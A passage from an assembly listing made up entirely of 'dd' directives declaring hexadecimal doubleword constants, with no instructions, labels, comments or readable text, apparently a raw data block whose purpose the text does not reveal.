		dd 1FB74179h, 8001111Ch, 80356490h, 0CA5A3C3Eh,	3F28B14Ah
		dd 31265420h, 0AB90B35h, 3C62AD62h, 3A7934D1h, 8D3CDF18h
		dd 10AEA543h, 26CA8684h, 0B316D7h, 0AFA02998h, 49ED632h
		dd 0B9092E10h, 0CC9DB12Ah, 8789E311h, 90339E87h, 0FF17EEDh
		dd 0C875F91Eh, 5F8D6A80h, 4BDEBB49h, 86303007h,	0D14A4294h
		dd 1F1F4E6h, 0FB70C42h,	3D020D40h, 0A4838CCh, 4C42C85Eh
		dd 5019447Ch, 3A9B4FCCh, 7D1A2DA4h, 0D0051B10h,	39876105h
		dd 0F4BF260Dh, 0D9EA7B1Fh, 931DE57Ch, 1380374Ah, 0BD3F19D4h
		dd 8C0F00E0h, 5FF88B66h, 81EC70E6h, 98DED605h, 0B4AF71E4h
		dd 0F300244Fh, 2BDAA768h, 1C2A8604h, 8088F5B8h,	0F613CD8h
		dd 2605683h, 1185292Ch,	5E73E2Dh, 0ABD8B617h, 4FC0C99Ah
		dd 618AEC0Dh, 0C50CB970h, 2306BAF9h, 0FBC35A8Bh, 1623862Eh
		dd 763CB503h, 19D5A123h, 0E8C1A485h, 7CA6AF04h,	998177B2h
		dd 0D4ED5CEEh, 6006E2F7h, 2861BD89h, 3CB9FE5Ch,	2B16CDFCh
		dd 0BF90BED8h, 5C8487h,	5BBD10CBh, 0A984524h, 58F18B16h
		dd 888B8BBFh, 3F52C016h, 0B51B317Ch, 57C07C1h, 8A880F72h
		dd 98CC5901h, 7B9011Ch,	85893F83h, 161C11C5h, 552FC183h
		dd 0F680DA35h, 0A48CC1Fh, 50C5FAA6h, 1C78DB2h, 0D93BCF3Dh
		dd 0BE45860Fh, 4DBE9C8Bh, 0DE8C3EBAh, 7FB6BEAh,	5361641Fh
		dd 89BFF460h, 0DD1D60B5h, 0F04C1F6h, 33E98436h,	24DE008Ah
		dd 2995FFAEh, 0FCBDE713h, 0B524DC96h, 0E50199B8h, 0FE6AAF83h
		dd 0BD17A220h, 68C0C05Eh, 0F8AF61h, 402ABE9Bh, 0EE3478F4h
		dd 0AA43221Ch, 604EA7DEh, 95B840F5h, 303E6F5Eh,	9C3F0AE9h
		dd 90007BDDh, 0BD48D5FCh, 0E2611CC3h, 2A8B775Bh, 0F9F10E6Dh
		dd 73C0D75Bh, 14B8E316h, 0EE097B01h, 8343D9Dh, 70D522A0h
		dd 921D824Ch, 64801D11h, 0A91906E3h, 0DDA42202h, 0F7E9B3F3h
		dd 7EBD23F0h, 7A00D63Ch, 45114F13h, 5B8B58A3h, 5A6BFFC0h
		dd 0F1B037Ah, 0FE8BF9B7h, 0D8879E97h, 0A1957160h, 8E5B342Bh
		dd 0B437026Fh, 0BF0279BCh, 5D85C7FAh, 89A14818h, 0BF7E5EA8h
		dd 502D46Bh, 6B584D48h,	2128E88Eh, 0C690C31h, 5BF7C012h
		dd 0D8365839h, 45BA7D00h, 0D7BF66DEh, 0BD810C5Bh, 0D05A2715h
		dd 0F1AFE92h, 0D73B5685h, 0E85883FBh, 0D1B4C4C2h, 0A931025h
		dd 3685FFF1h, 5D35FD2Dh, 7BF96380h, 9598FBCh, 82346C09h
		dd 31D7E200h, 0B56BFFC2h, 0ECEDD761h, 61E7C6C0h, 7B1E04ECh
		dd 0D0DDB50Bh, 7DBD091Dh, 8BAF54BDh, 47DD21C1h,	60194495h
		dd 1BC75B7h, 33ADBB61h,	940BF5BDh, 0E88B904Eh, 2D008C1Ch
		dd 8C87FEA9h, 4C1A8E29h, 0FB1C4476h, 2B0CDA0Fh,	1949C702h
		dd 89B52901h, 0F1314465h, 1D88F20Eh, 0F89367C0h, 0DBD002BFh
		dd 0CCA76ABEh, 0F239ED68h, 41B52B09h, 69B1116h,	31102B63h
		dd 0C746582Fh, 6BB0EE15h, 964EF2h, 9A03FE6h, 57994A95h
		dd 0A680522Ch, 0C6111702h, 85CA4014h, 830144BDh, 0F78114E1h
		dd 61002BE9h, 0BD180B5Fh, 0B7293319h, 0F4537FFBh, 14A4F159h
		dd 8D943B0Ah, 4D8AF312h, 0A15294C6h, 0DE515E2Eh, 1A661900h
		dd 9C3546DEh, 0F2C8A06Dh, 7D8D1709h, 57005E23h,	5A9AEBF0h
		dd 0A058FCC0h, 6314D328h, 7CEE2E71h, 1CE91740h,	69FFF73Ch
		dd 1818715Dh, 3B850246h, 0C18B4D10h, 58F0FBD7h,	6F008938h
		dd 6934E978h, 0B5CE781h, 0EB7E7C0Ah, 0F561C27Dh, 64720973h
		dd 9CA083AEh, 1888C08Eh, 1DCCA2C0h, 89CA0961h, 62B7D9Dh
		dd 0CE2E7180h, 955D858Dh, 6BAA5B06h, 679509D5h,	0F87B8399h
		dd 47BE8850h, 28253118h, 6624043Ah, 0AB5AF252h,	5B79Ch
		dd 8B30FF70h, 2B51ADB5h, 394B436Fh, 0C9BE179Ch,	83830501h
		dd 0EBE5EB28h, 0C02F58F3h, 12B777h, 563C150Ah, 7024992Dh
		dd 6014E8BEh, 2FEF00BDh
		dd 61C78AE1h, 0F38B2890h, 0AF525B9Ch, 9923D241h, 0B9C8F55Eh
		dd 310F2CD7h, 87053B62h, 0BB90585Ah, 0E0B01AA6h, 2206137Fh
		dd 0C66B85F6h, 85F6AD9h, 1546747Fh, 0B292B414h,	28128913h
		dd 9DF8317Fh, 84241F58h, 81001A4Dh, 0F5EBC8F6h,	0BE66080Ah
		dd 9D01B9F8h, 5EAA4AAh,	0D68B9241h, 2CE96Eh, 0E4465F08h
		dd 96C5C8h, 5CCF0A63h, 0FF61A7A4h, 100AD34Ch, 52621D25h
		dd 0C0C0B82Bh, 0F98114FDh, 0E9E48831h, 0B7EFBAB9h, 77C5707Eh
		dd 0F853FE42h, 8414E75Eh, 10016586h, 4FA502C6h,	0CAD19D8Bh
		dd 6B518Fh, 0E216407Ch,	35012B51h, 0D67E746Fh, 1C1E381h
		dd 0BC3CB97Ah, 5EFA1364h, 0DFC0460h, 0E904120Ch, 610A0355h
		dd 162D08C5h, 80B9E81Bh, 0C603A8Ch, 71ACFBD3h, 1A40013Eh
		dd 0DB0B245Eh, 2DA01A84h, 0C1E0CA6Dh, 40FB874h,	0D0AE2B54h
		dd 8136C150h, 0BD830001h, 0EB0C2FA6h, 3734B2D5h, 2BF18184h
		dd 8B6EE915h, 18820F17h, 40019DB9h, 8551C712h, 399DEA3Ch
		dd 19831C91h, 5198DE37h, 73026670h, 0E95F565Ch,	5AD592Dh
		dd 26590FDFh, 60931D3Ah, 24D648D0h, 60318D50h, 0FF2381F5h
		dd 4EE7FE72h, 0C21588D5h, 5BE01E8Ah, 790531AFh,	0DB8C6636h
		dd 0B75DE6BBh, 51260239h, 99F60723h, 143C38C1h,	445833B3h
		dd 2F17C510h, 9F9A7550h, 13620042h, 598BF3F7h, 0FA0FFD51h
		dd 0E9F9F190h, 5FBD9559h, 0BDD930BAh, 0B08112B5h, 0B815B97Bh
		dd 0BD360060h, 54664B11h, 0F139830h, 611770E6h,	71E4A045h
		dd 54D5E1C0h, 175D4F36h, 959ABEFFh, 0EA1480C5h,	0DDF5E4h
		dd 0FACA86A4h, 90CF8E44h, 0DF98E002h, 50ED8D29h, 465F4878h
		dd 0B7B52E05h, 4416A239h, 10007F23h, 5CAD341h, 15126246h
		dd 117C6595h, 0D61DCB00h, 9F3F2B13h, 0DF3CEC05h, 0F2809E38h
		dd 9C5F5EF2h, 16442419h, 381F8909h, 0D86E4AFEh,	0E53F1100h
		dd 2B03BB0Fh, 0BD23D804h, 19952299h, 1C898081h,	19B22673h
		dd 22CCE931h, 95BD1C52h, 1BC58289h, 0A35905E7h,	0AC3FBE81h
		dd 7B2D25AAh, 8C17ACh, 0BA70D534h, 9F5B529h, 0CFD35EBFh
		dd 2539883Dh, 0D6B74728h, 309A8305h, 7FD9CFAEh,	4718DCA3h
		dd 0D540D107h, 5D93FF4h, 1700E837h, 0E37482DCh,	144900D6h
		dd 347A839Ah, 80144D60h, 2AD26458h, 5F48A3EDh, 544E5A4Dh
		dd 4F3E3303h, 3D001823h, 0A296E20Dh, 807DB160h,	0F2F4C2B7h
		dd 5505C5D1h, 78EC9BD6h, 0F6716E40h, 0D84ACAh, 9ABD49E1h
		dd 6CC2FFB2h, 33EEA71Ah, 0D196889Ah, 2A1CF908h,	0C7DEBD61h
		dd 48F600DEh, 0B6D77F84h, 8B7A0E39h, 0BFE0EAADh, 4629F15h
		dd 0DFFAA3BEh, 317B901Eh, 35BAEDBDh, 80497CB7h,	1FBB8B4Ch
		dd 0B2006A7Bh, 0B8EF922Fh, 49967240h, 0FA5E9532h, 8B00E456h
		dd 12396217h, 0AD2805DAh, 0CD5D02DDh, 0C8830082h, 0A01C3D31h
		dd 3C027A67h, 421B2913h, 808E3797h, 829AADFFh, 402C0BD2h
		dd 0CE0264CFh, 58584B01h, 919FB43Ah, 6BEE5EECh,	860471A6h
		dd 0EB36E62Fh, 0B0411A3h, 172BFDBDh, 0DD9D90EAh, 74074D0Ch
		dd 8875EB84h, 2A361721h, 3EF8A0D4h, 0E316AA02h,	6FDFC4FFh
		dd 0C7BA004Bh, 5E653F91h, 2EFBB6F9h, 0DC00DCACh, 97738FF6h
		dd 9C395D25h, 0F8222D81h, 0F9D1014Eh, 21815D9h,	8B601104h
		dd 54D5758Dh, 0E4157283h, 1FC2610Bh, 228D6F60h,	0E6C6FDB6h
		dd 0DC12BC4Bh, 83051EF4h, 4379BF66h, 14B3E794h,	0AA301AE2h
		dd 20BF2B5h, 29FABB88h,	6350ADBDh, 0E8605B48h, 0B44B8C14h
		dd 0DBE0A800h, 2ABD096Bh, 2F8C152Dh, 6E37C32Bh,	40B5E20Eh
		dd 5088BA2Eh, 62625EBBh, 7BF53B0Bh, 45F2D041h, 3AA2460Ah
		dd 9D0B9926h, 0E94BA3F5h, 0E82B2439h, 0DAD34091h, 6127978Fh
		dd 69D28E3Ch, 805337C0h, 0C671EB10h, 9A7984C5h,	13E78102h
		dd 0F24133FDh, 75F4BD01h, 0AF291F80h, 1426F0h, 0FD63FF19h
		dd 1B2B0FD5h, 0F1202BB0h, 0C75E0B32h, 0B7E0CD85h, 0D405EB7Fh
		dd 0E8F38B36h, 9321D720h, 0C5500032h, 0D77B8AAEh, 0AB007962h
		dd 57060963h, 5F0ABD39h, 8340EE19h, 288E479Fh, 0F25F6A01h
		dd 40D0870h, 6BE31E2Dh,	0ED7D3D3Dh, 9CE06E44h, 0E8597CB5h
		dd 88056C0Bh, 0F0788765h, 663BB737h, 2F5098E8h,	57221B51h
		dd 27E52E7Dh, 24F72E3Eh, 1D46DCh, 0DBA1B51Bh, 0D07939h
		dd 0BF346F75h, 71DE292Dh, 80A4DEBDh, 8DDC7CE2h,	0C017625Ch
		dd 9ABA904Eh, 455CC734h, 60EBD100h, 7A072E9Ah, 0AF90861h
		dd 53F2B789h, 787E7055h, 33850E04h, 34E6724Ch, 72EFECE0h
		dd 96A35B00h, 0FCAA421h, 522A28Ch, 2D6BFED7h, 3BD17000h
		dd 27FFBD8Ch, 8FE51A24h, 937B0602h, 0CD82607Eh,	8D890BF1h
		dd 6A692461h, 14880EF7h, 0B590F6C5h, 4A0F8ECFh,	597958Dh
		dd 0FE20452Ch, 820011E3h, 0F3D338DAh, 5CBF5369h, 6401D684h
		dd 2F16C7A9h, 9C42C1B6h, 9F9A718Dh, 0BEAFAFCDh,	69830B0Ch
		dd 0B725AFB6h, 0C431310h, 60D15514h, 2BA968C4h,	63C3B909h
		dd 0E3C4B694h, 8C8E9067h, 0E4C53DE6h, 53995F09h, 5BD20102h
		dd 1C071FDh, 0B4A270EDh, 0B45EC7Bh, 8E3C2D00h, 3E9A7157h
		dd 8D210844h, 660306ADh, 3E48DFB8h, 81C4D114h, 4B22C60Ah
		dd 8080158Bh, 0E1837FD8h, 60EC9401h, 8F1BD03h, 23578B81h
		dd 78499562h, 301B89D4h, 18F2D063h, 12D00F30h, 884D4E0Bh
		dd 0CF18DCC1h, 6C384A9Eh, 92B80581h, 0E6606172h, 1484E141h
		dd 0D84DA7D1h, 1351141h, 79940404h, 0BCBB0029h,	0C9431122h
		dd 8FABA516h, 60FFCDDFh, 0D1CBABC1h, 0BF36C8A0h, 74E48014h
		dd 7E3741A8h, 0BDACF2BDh, 0CB682702h, 7A8F0FFCh, 36B42941h
		dd 0FC2590CAh, 0A7008C1Dh, 0DBB13F7Dh, 14604CA9h, 888B9635h
		dd 0D0DF80C2h, 0E2D737ABh, 70E1FB9Eh, 5B007B5Eh, 9A0EF4Ah
		dd 8220A18Dh, 0DC80F801h, 4CB427D6h, 8C17B808h,	8E6A9F0Bh
		dd 0DECD1815h, 0FDAF144Ch, 9510F409h, 20EE5E07h, 4D9D8B29h
		dd 84110348h, 99C81A55h, 4BE7FFC1h, 803E9E36h, 82FB5941h
		dd 0BA140129h, 8589AA96h, 0EC613565h, 2740698Dh, 0BFB5A6F5h
		dd 3727F4D6h, 0AC70020h, 7CC94F3Bh, 0DF2A3398h,	29126D8Bh
		dd 8A526D85h, 9DFD0A2Dh, 0CD47503Ah, 9DF05E56h,	8702D3ACh
		dd 195310Bh, 90A46E15h,	170965B6h, 623E00E9h, 0A01D4593h
		dd 2BC68751h, 22D8DC50h, 0C2FC4A01h, 0D9921631h, 0A681E7C4h
		dd 6DAC7819h, 0F97B3EF0h, 1C99BC94h, 4ADBBF06h,	669465AAh
		dd 0A69B2722h, 0ED686679h, 0F311EB5Fh, 66824B5Fh, 0F5CBBA04h
		dd 0F6BF6058h, 907ED6D7h, 2038582Fh, 3DBD2979h,	44EEAD2Fh
		dd 9C0601Dh, 8CAF00F5h,	29A2D51h, 854AC704h, 14DB7374h
		dd 866272C0h, 89A12068h, 619552CDh, 0EE70E35Bh,	4F5B009Eh
		dd 8070D769h, 6B98B6C7h, 7EBAC04h, 38ED9D61h, 0F9B79570h
		dd 30E6D100h, 2F76B79Ah, 20551532h, 99E9576Ch, 0B0593A34h
		dd 53AC1D03h, 0B780B9F6h, 584F5163h, 9C3E056Eh,	83A94805h
		dd 49F2C1D3h, 0EFB00721h, 0F1F00110h, 78EB5E30h, 0E09034Bh
		dd 1AC53C2Fh, 0A4ACDAC0h, 0D2D41C0Eh, 0E42E5Ch,	0F53134CEh
		dd 1E27EA1Bh, 40D129B3h, 2AC7DD5Bh, 0F9F917E6h,	0DB67E8DFh
		dd 1A7A670h, 0E64128C0h, 7DD40227h, 0E1E9C372h,	1A8193AAh
		dd 0F3F5C171h, 50589120h, 2841755Ch, 0D61F82F0h, 1490FF19h
		dd 0CBE61Ah, 0DEDFF242h, 0D2B47B31h, 2B305D1Fh,	85402182h
		dd 15116075h, 0B85A8024h, 0F29F63E1h, 0B4513017h, 0C222201Fh
		dd 55899C66h, 0F904D927h
		dd 717181Bh, 4C5F0ED2h,	334F20FEh, 1D5E5995h, 218D2BEEh
		dd 5D09113h, 0B2679D8Dh, 882EA6EAh, 171AA111h, 0B89AFAB4h
		dd 10C01BC8h, 0E8ED057Bh, 116D028Fh, 0BD59589h,	0C3819390h
		dd 86804500h, 0D2858D08h, 1CEB621Bh, 53D865BDh,	0AB609024h
		dd 0D066FF60h, 5FC701D8h, 0ACAF150Fh, 802A28C5h, 699ECC35h
		dd 0DF8B0010h, 2BFAFBB1h, 0FEBD605Ah, 0E6E480A4h, 9C02C26Dh
		dd 1BE2B000h, 310F5250h, 6158385Ah, 47BB03F8h, 907996CDh
		dd 91DAB7E9h, 5A4C8FA0h, 3C6C71C0h, 0CE006A5Fh,	0BA665390h
		dd 975AEA7Eh, 0B90F930Fh, 2C5E852Dh, 151B8381h,	0EAABE023h
		dd 85634B51h, 0C0AC9B94h, 81AA09Ah, 0FFCF0461h,	0ADD95h
		dd 33BDF181h, 8B263096h, 0B2BF663Bh, 34420C5Ch,	6ACCCBAh
		dd 5840DECFh, 322FD27Eh, 8FD3740Ch, 0B5083D76h,	19159204h
		dd 8010CE40h, 2A90B1C9h, 0DF01E924h, 0F54B7B64h, 0A168E6DFh
		dd 2B933995h, 0D23BA4E8h, 0D49AA702h, 72870F50h, 0BB570127h
		dd 3AEE2C58h, 0A063475Fh, 0CCF954Bh, 4144C2F3h,	3F58F881h
		dd 0F031C820h, 0FC8100C8h, 8FA8654h, 0B52FFF41h, 95A0F505h
		dd 1B350D2h, 0A1EF5B50h, 0DCEA7D3Eh, 6769385Ah,	59998A27h
		dd 47EB009Dh, 80D0FF61h, 2A5E555h, 0B9718B7Ch, 0E1218820h
		dd 23BA9519h, 2B1BD91Ch, 0DE07A68Ch, 29D4A302h,	9808A586h
		dd 0C0B5E2A7h, 1F6EB9BAh, 50526390h, 0E4205B9Fh, 0B28126h
		dd 57A862F4h, 58A47F9Bh, 50ABB850h, 812EB902h, 935B7BCDh
		dd 84C873B2h, 967ABF0Bh, 119D1D58h, 0F0EE8018h,	1228F6EFh
		dd 0A17D9D8Bh, 60D1193Ch, 0CDACD797h, 0CEE18102h, 89101FDAh
		dd 2038D8C2h, 615121C5h, 43BB09C7h, 278D1534h, 3225F4C7h
		dd 0DF7C2D8Fh, 8FC811DCh, 68CEA056h, 9617BCFh, 818EB2BDh
		dd 0ACA1FD58h, 0D3E44016h, 5AA4F7F8h, 0D6BA76BFh, 0BB1FFB00h
		dd 20EC0373h, 26A9486Ah, 131A2D10h, 3820830Fh, 15B3D781h
		dd 8D6BB494h, 42A9B987h, 8C8B20E7h, 86144FB7h, 159442A0h
		dd 8B89CF8Bh, 2E796Ch, 1293010Bh, 8C00A09Ch, 468E9DF0h
		dd 15E50E5h, 48677D68h,	50FC8A77h, 0BD09069Ah, 0A06E634Fh
		dd 0F300BC4Ch, 423FB884h, 0F748BEDEh, 41C173Fh,	208AC9EAh
		dd 9E5FE9B6h, 8BBF21AAh, 848945FEh, 647AAD22h, 5FD4BEE6h
		dd 8DB829A9h, 0DA073A09h, 0C57848Bh, 8881965Dh,	5954B554h
		dd 45D6AE0h, 0ABC08h, 4267785Dh, 9F7D776h, 62D0954Bh, 16ED280h
		dd 39715868h, 5028B3E2h, 0C69EA8B7h, 0BCDA1D59h, 90AE09EBh
		dd 79011E49h, 33DE8B4Ah, 102662Dh, 5B572658h, 0D0894E2Ah
		dd 6560C6B1h, 3ECBF17Eh, 0CF130812h, 0FB18731Bh, 51164861h
		dd 0BD352A41h, 0DC7756CAh, 38096D09h, 0E1CA0098h, 580F7A92h
		dd 5384B782h, 27D3C229h, 9A21D809h, 0BF077995h,	0DC42DEh
		dd 0F6F5E6BCh, 89440AB6h, 68918D27h, 0B9CA8574h, 0C2A99265h
		dd 36516AECh, 801819D1h, 9CC0A003h, 0A7BA810Eh,	686D1850h
		dd 82CF13A1h, 0DE840AAAh, 416192B3h, 7E305F03h,	39DC6055h
		dd 6C501840h, 120D856h,	0F8B6EE90h, 80DB0B92h, 3BFD0180h
		dd 981D6EE8h, 951E5EDh,	151E3E00h, 9C04E968h, 0CF55D228h
		dd 0F6B6F709h, 97D2055Fh, 2EC221C8h, 3A9E5070h,	0FFA16CB5h
		dd 0B4B0F1A6h, 5914A7BAh, 4CF21D8Bh, 37A4ECEh, 33632917h
		dd 6F83429h, 3005FEBh, 0C579B4B8h, 0C3A1B58Dh, 0D4B951C9h
		dd 59683F98h, 0E52964Ch, 0D750AC04h, 0DC83A9DBh, 0A2A8D922h
		dd 13071C54h, 0D6805609h, 0BA88F7BFh, 83D302C8h, 9CFB637Dh
		dd 0DEE79FA8h, 7E79EF00h, 9B418801h, 0C28102B1h, 1E0FA147h
		dd 0EE8CF82h, 4298D455h, 0AF60CB8Ah, 0B5E4F98Bh, 0F52F7B91h
		dd 0EC001992h, 5A25E1BFh, 0C285C71Bh, 0A6EE8525h, 3CFC00A8h
		dd 159F7ECFh, 0B50F00FFh, 7723C0EDh, 20F880A1h,	0B3C9059Fh
		dd 3C6687B1h, 0ABE037F2h, 0B225DEFFh, 990C9850h, 8CA30059h
		dd 8F4CBEE5h, 46278D69h, 0C18ACD20h, 7A7401B2h,	2412FE08h
		dd 5EC6110Ch, 0C58C40BBh, 43BDC82Ch, 89FD2F07h,	67E0D27Ah
		dd 9805577h, 0EBC4CB90h, 5600D679h, 41BA59F9h, 4622186Fh
		dd 2C495840h, 385D0BB2h, 88F02D71h, 0DE93A6h, 0FE9E1BF6h
		dd 39958BAEh, 35FE255Fh, 99C81E6h, 0BF480016h, 0B1341958h
		dd 435C801Eh, 7B843FD3h, 0DEF3D200h, 6AB5907Dh,	112F56C8h
		dd 294F5814h, 92ACA83Bh, 33F3B819h, 810CEA70h, 0CEFE7040h
		dd 7FEB1B22h, 0B645D684h, 0ECCAE052h, 286520B9h, 9644D95Eh
		dd 56E0E2EAh, 0B379880Fh, 0F92DB607h, 0B920A55Dh, 13624A14h
		dd 8C5A3A2Eh, 9C995F3Ah, 1B4A1F80h, 3FB79EF2h, 0ECCDC49Ah
		dd 40615B12h, 90F1FFA6h, 34BEBB3h, 61E9C430h, 0B75595C6h
		dd 7F99802Bh, 58B3E6D2h, 49880F28h, 59566013h, 0D3CDDF1Fh
		dd 253E8974h, 817ADB86h, 7A61EDFCh, 24B4A5C4h, 93548D4h
		dd 46A0475h, 117515Ah, 16A10D9Dh, 6581E460h, 0DA95252Ah
		dd 0C01688E4h, 1237054h, 2C4091B0h, 9FC0480Bh, 9B296035h
		dd 0B4A8C048h, 5E23DE69h, 615C9095h, 0C54E9D29h, 8562CF12h
		dd 3E5C2A01h, 0E92D20A0h, 60C7EF40h, 2882C85Bh,	0DBDC6150h
		dd 891B0D05h, 0A9B1A595h, 0C01CC6E8h, 0DEB9667Bh, 4924E92Fh
		dd 2A32A1FDh, 68B3A0D5h, 3E4EBF1Eh, 204B0F37h, 0A684BAFFh
		dd 24348106h, 1C223F1Eh, 570473B9h, 0F67DA109h,	0CE07CEFh
		dd 25212533h, 0D1E49B59h, 7846EB00h, 506E1006h,	0B5683AA1h
		dd 6B7BCE00h, 4EAE01ACh, 60FA3A1Ah, 0CE0AF286h,	0BF069D4h
		dd 1AFF5961h, 0DC50D458h, 0E8C2BD5Eh, 504542D6h, 0DE29949Ch
		dd 9E8AE306h, 27B41C5Fh, 29A506C9h, 512FFD01h, 0EC5B2919h
		dd 8012004Fh, 0CB815CB7h, 0B605B83Bh, 6AB29014h, 0D822BFD1h
		dd 503755E2h, 3837A301h, 34C80686h, 30495A2Ch, 0D8BF0FE9h
		dd 0DE8B5013h, 0BB661B47h, 0ACA3A885h, 27759026h, 0B4609D81h
		dd 194E2026h, 19183E4Bh, 0C4CE8A18h, 0C44AB60Ch, 7F9EF19Eh
		dd 6BAC2DE9h, 6CA8B324h, 0E5014538h, 0B1051D55h, 8B00CE18h
		dd 2DBD31C0h, 0C7BF0B21h, 0CDACCE11h, 8A0F288Eh, 0D60F9A75h
		dd 0FE1CF168h, 8071FF73h, 1B806B6Ch, 0C47631F3h, 8C23413h
		dd 0F0426E1h, 44B1D482h, 9BC04A51h, 4FF58E4Fh, 0E5F0A114h
		dd 26F325Ah, 0F8A2D44Ch, 52DC0A43h, 531D806Fh, 0F09857D9h
		dd 10891C6Bh, 0A0299610h, 563BD300h, 0B731C262h, 4EBE00D7h
		dd 0B1321B8Ah, 10975EB3h, 13AD7124h, 5B0586Ch, 0EF62A89Ch
		dd 0A000E9A3h, 58EFB22Ah, 0AF00D51Dh, 60C12CECh, 6E493810h
		dd 0B00027BBh, 3334FFA7h, 0B55F09FCh, 31C301FBh, 14D9Dh
		dd 0B815A61h, 84AF8DF2h, 8040F924h, 9C9C2DAh, 6024DB12h
		dd 61DBA81Dh, 2636E016h, 3A649318h, 301E1497h, 2574ECD8h
		dd 803D9C38h, 6B2F4154h, 7F81A60h, 2E64EB81h, 57C1EBE5h
		dd 0FFC3E9A5h, 0B5891505h, 1B901569h, 0B09DFCFBh, 5D939812h
		dd 5800B996h, 0D0477B86h, 92007A6Ch, 0D6DF70F8h, 39EFE75Fh
		dd 0C7B3F4B7h, 21007308h, 7BD6D0ABh, 779F4Fh, 0F24DC369h
		dd 0D30D4056h, 0D5105207h, 304CF5FBh, 46B50018h, 0A7B4734Eh
		dd 0AC667B97h, 1D210208h, 0BA46BD35h, 0ED34B380h, 43DB1B03h
		dd 0D0EB1300h, 0D96AD1BCh, 0ECFC0074h, 90C1438h, 67719380h
		dd 3D00500h, 0F8986148h, 643E29Ch, 2B3BE545h, 733FD120h
		dd 489730EBh, 7D85300Fh, 0F99800DBh, 754BDE3Ch,	0BB609CD3h
		dd 1667A20h
		dd 20D653A0h, 90DF91DEh, 30C2B978h, 93EADA7Ch, 0E3731A06h
		dd 79609EC4h, 8471FECh,	10F84086h, 0B2B5709Ah, 147F0C03h
		dd 3057FB6Ch, 0C7219D08h, 0AC0EB548h, 21FC89Eh,	83592BA7h
		dd 5FC80h, 0FED36871h, 0DC820D23h, 5D034D76h, 0D53450AFh
		dd 8D8CB061h, 52FB1B0Bh, 0D0233067h, 46B601D4h,	18BC734Dh
		dd 0BE3A881Dh, 0B2AE4607h, 0BD505972h, 60FBB768h, 1599210Ah
		dd 86004442h, 0B04E9B78h, 38A3EDh, 60532A62h, 73DB8C64h
		dd 30E55B05h, 0F0001D44h, 0A1D74374h, 77270D60h, 6241803h
		dd 0CB46A0F4h, 4C46B70Fh, 1C4A4E8h, 46BF3B40h, 680A9E55h
		dd 74E6FBB8h, 0C29FCA91h, 0AC734B46h, 38101F31h, 0DF7F46A0h
		dd 0D507F8F2h, 0EFE8E06Ah, 0EA396161h, 527C1420h, 4523E4B5h
		dd 0B4444E1Fh, 90624F0Ch, 0B546C520h, 7C480341h, 0BE78F373h
		dd 3262480Dh, 0F8F080F0h, 966337BDh, 5DB28030h,	1C03DE2Dh
		dd 14864C5Ch, 87083034h, 2D455521h, 8F1EEC00h, 0F7FAA662h
		dd 50ACE0E7h, 297DB006h, 128A0F8h, 1CD32D40h, 888C1834h
		dd 2D0F4852h, 0BD558374h, 61D37844h, 6F1408D0h,	4E3F00FEh
		dd 0BFBEB4EAh, 0B502FCD4h, 3EFBA107h, 0D7B89168h, 4608B318h
		dd 0C4847370h, 0BB374006h, 0F838CD46h, 5F18120Ch, 5000146Fh
		dd 8C03E8h, 0E4B49059h,	7707960Bh, 0D4D89A68h, 4B804811h
		dd 570CB7B5h, 0BA9E448Ch, 0F6B54300h, 76D7EC60h, 1F2603C8h
		dd 0FB1E8AE2h, 0E6E3711Ch, 0B4F8040Ah, 38D467Ch, 0BFDB948Ch
		dd 7A4C0DDh, 4B58A91Fh,	0B5094C18h, 9C5F0CB6h, 44BB0010h
		dd 8725FFB5h, 2C589417h, 5804507Fh, 121E2D40h, 59502A7h
		dd 3BE30810h, 972334h, 771C2B51h, 38929A47h, 17483810h
		dd 6922FB0Ah, 0D1E02990h, 3C3C1804h, 6062D109h,	9D09B5DBh
		dd 0C63F5Ch, 79D1A850h,	2A117BA3h, 0F94CEEFBh, 4609B118h
		dd 9C947372h, 0B9311FE4h, 903A8046h, 6E3B382h, 87888A54h
		dd 0C45F8900h, 0CF85E216h, 80E00298h, 0EF9FFF4Dh, 145C1040h
		dd 2BF4684h, 1CDC2D43h,	108F314Ch, 32D4B53h, 43F02957h
		dd 8180A5CDh, 0D03AEF94h, 8C80E8E6h, 0D31E463Fh, 0CFE748D6h
		dd 0AF4479C4h, 0A9490ED4h, 106482F3h, 97111F98h, 1E21A980h
		dd 0BB3107B0h, 83631899h, 0BCE8C187h, 0B162B317h, 115B59D8h
		dd 1B68A30Bh, 0F0B908DFh, 449F7B08h, 0D6DC6044h, 0D7E72342h
		dd 0AE037811h, 0A979D6D5h, 0E57CD888h, 0FEFB7D09h, 11F89F6Ah
		dd 8D6B8707h, 0FA783731h, 21A0D846h, 481190BBh,	5ED6D881h
		dd 7C31FAE7h, 0D6D1AA10h, 0E1AC91Ch, 82756309h,	0E2C2D068h
		dd 0EC246968h, 0B79401h, 6FC3280Dh, 0DB822863h,	0CC8BA78h
		dd 4881F706h, 0BC1370B8h, 23383E12h, 0BEC20187h, 349CA68Fh
		dd 9840E704h, 78024889h, 0C963D086h, 5F27B0A0h,	58549E07h
		dd 35102D55h, 33076766h, 71880528h, 0BD74C81Ah,	44B447B0h
		dd 63B26196h, 80E94CCBh, 4201BE23h, 441CDD2Dh, 5488B018h
		dd 882D0E4Ah, 9061FB71h, 0D80C7E85h, 0E31A0D5Ch, 0C0988C3Ch
		dd 876E4B2Ch, 0E26003C4h, 4E02789Dh, 8E5F0D3h, 23C4A470h
		dd 3045C492h, 5D11D6DDh, 7588DFE7h, 80F8AD9Fh, 1B3796D7h
		dd 1053002h, 64EF5643h,	0E561F216h, 0D0A891CBh,	0B46B285h
		dd 5C9C9CB8h, 46BA3600h, 23B0B2A0h, 954C00DDh, 60997684h
		dd 4A2C9139h, 9C220161h, 0B75E430Fh, 411FA3Dh, 5960B9BCh
		dd 1C7DDA2Dh, 0FC8B458Ch, 50002D41h, 18555DFDh,	0BA4EBF1Ch
		dd 0C611940h, 7042299Bh, 8E409874h, 0B51E02D3h,	2EE418E6h
		dd 0D0D4A080h, 1536896Bh, 2030C9F6h, 0E002BBD8h, 7B85DAEAh
		dd 0D2B0B042h, 0E74016D6h, 500038C7h, 45D6CA05h, 7C810B04h
		dd 9B079D0Eh, 8A06B30Fh, 0A00010A2h, 0B6FD1EE1h, 627382CBh
		dd 8F08417Eh, 12275048h, 0B0574E00h, 48090AC7h,	7F3B0971h
		dd 0DD831CD8h, 0E9009A63h, 3CC6AE34h, 96967EBh,	7D130879h
		dd 0DEE43808h, 0A87C8100h, 866BDADDh, 26A701BBh, 37300CB0h
		dd 7B58877Ah, 8180C00Eh, 124EDB68h, 0D104D373h,	0BDBB0860h
